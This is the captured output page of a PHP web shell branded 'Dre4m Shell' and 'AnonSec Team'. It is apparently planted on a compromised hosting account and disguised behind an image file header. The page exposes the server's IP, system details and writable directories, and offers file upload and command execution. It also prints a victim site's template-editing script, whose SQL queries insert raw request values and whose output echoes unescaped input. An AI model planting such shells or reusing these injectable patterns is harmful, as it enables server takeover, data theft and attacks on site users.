ÿØÿàJFIF``ÿþxØ Dre4m Was Here
Dre4m Shell
Server IP : 109.234.164.53  /  Your IP : 216.73.216.110
Web Server : Apache
System : Linux cervelle.o2switch.net 4.18.0-553.32.1.lve.el8.x86_64 #1 SMP Thu Dec 19 13:14:03 UTC 2024 x86_64
User : computer3 ( 1098)
PHP Version : 7.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/computer3/atlanticswim.fr/seo-mailing/settings/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/computer3/atlanticswim.fr/seo-mailing/settings/set_template_edit.php
<?php
if(count($_POST)){
	$query = "UPDATE ".$INFO['sql_tbl_prefix']."templates SET templ = '".addslashes($_POST['set_templ'])."', name= '".mysqli_real_escape_string($db,$_POST['name'])."' WHERE id = {$_POST['id']} LIMIT 1 "; 
	mysqli_query($db,$query) or exit("insert error" . mysqli_error()."<br>".$query);?>
    	<script type="application/javascript">
			document.location.href="?settings&settemplates";
		</script> 
<?php } ?>
<?php $templ = mysqli_fetch_array(mysqli_query($db,"SELECT * FROM ".$INFO['sql_tbl_prefix']."templates WHERE id = {$_GET['set_template_edit']} LIMIT 1"));
?>
<div class="row-fluid">
<form action="" method="post">
<input type="hidden" name="id" value="<?php echo $_GET['set_template_edit']?>">
<div class="well set_templ_header" style="margin-top:0">
    <div class="control-group">
     <label class="control-label" for="name"><?php echo __('Name');?></label> <input type="text" class="input-xlarge" id="name" name="name" value="<?php echo  $templ['name']?>">
    </div>
  <div class="control-group">
    <div class="controls">
 	<?php require_once('tiny_mce/tinymce.php');?>
	 <?php echo __('Shortcode');?>: <?php $result = mysqli_query($db,"SELECT * FROM ".$INFO['sql_tbl_prefix']."shortcodes WHERE id NOT IN (4,5,6,7,8) ORDER by system,shortcode");
				if(mysqli_num_rows($result)>0){
					while($sh = mysqli_fetch_array($result)){
		  ?>
            <a class="label label-inverse" onclick="tinyMCE.execCommand('mceInsertContent',false,'{<?php echo $sh['shortcode']?>}');">{<?php echo $sh['shortcode']?>}</a>
            <?php }}?>
      <hr>
      <textarea name="set_templ" id="set_templ" rows="8" class="span12 advanced"><?php  echo $templ['templ']?></textarea>
    </div>
  </div>
</div>
<div class="form-actions">
  <button type="submit" class="btn btn-primary"><?php echo __('Save');?></button>
</div>
</form>
</div>

Anon7 - 2022
AnonSec Team